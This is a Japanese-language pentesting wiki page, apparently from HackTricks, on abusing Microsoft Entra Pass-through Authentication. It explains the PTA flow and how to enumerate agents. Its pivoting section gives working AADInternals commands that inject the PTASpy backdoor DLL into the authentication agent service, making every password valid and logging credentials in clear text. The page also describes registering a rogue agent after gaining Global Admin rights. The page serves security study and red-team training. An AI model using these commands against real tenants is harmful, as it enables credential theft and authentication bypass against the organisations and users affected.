# Az - PTA - Pass-through Authentication

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは**オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。

PTA では、**アイデンティティ**は**同期**されますが、**パスワード**は PHS のようには**同期**されません。

認証はオンプレミスの AD で検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます（オンプレミスの DC にある必要はありません）。

### 認証フロー

<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>

1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名**と**パスワード**を送信します。
2. **資格情報**は**暗号化**され、Azure AD の**キュー**に設定されます。
3. **オンプレミス認証エージェント**がキューから**資格情報**を収集し、それを**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**を**Azure AD**に**返します**。応答が肯定的であれば、ユーザーの**ログインを完了**します。

> [!WARNING]
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**（**平文**）を見ることができます。\
> また、AzureAD に対して**任意の資格情報を検証**することもできます（スケルトンキーに似た攻撃）。

### 列挙

From Entra ID:
```bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
オンプレミスサーバーでエージェントが実行されているか確認します:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## ピボティング

**PTA** **エージェント**が実行されている**Azure AD Connect サーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます（すべてのパスワードが認証に対して有効になります）：
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> インストールが**失敗した**場合、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。

このバックドアは以下を行います：

- 隠しフォルダー `C:\PTASpy` を作成します
- `PTASpy.dll` を `C:\PTASpy` にコピーします
- `PTASpy.dll` を `AzureADConnectAuthenticationAgentService` プロセスに注入します

> [!NOTE]
> AzureADConnectAuthenticationAgent サービスが再起動されると、PTASpy は「アンロード」され、再インストールする必要があります。

> [!CAUTION]
> クラウドで**GA権限**を取得した後、新しいPTAエージェントを**登録**することが可能で、**以前の**手順を**繰り返して**任意のパスワードを使用して**認証**し、さらに**パスワードを平文で取得**することができます。

### シームレスSSO

PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください：

{{#ref}}
az-seamless-sso.md
{{#endref}}

## 参考文献

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

{{#include ../../../banners/hacktricks-training.md}}
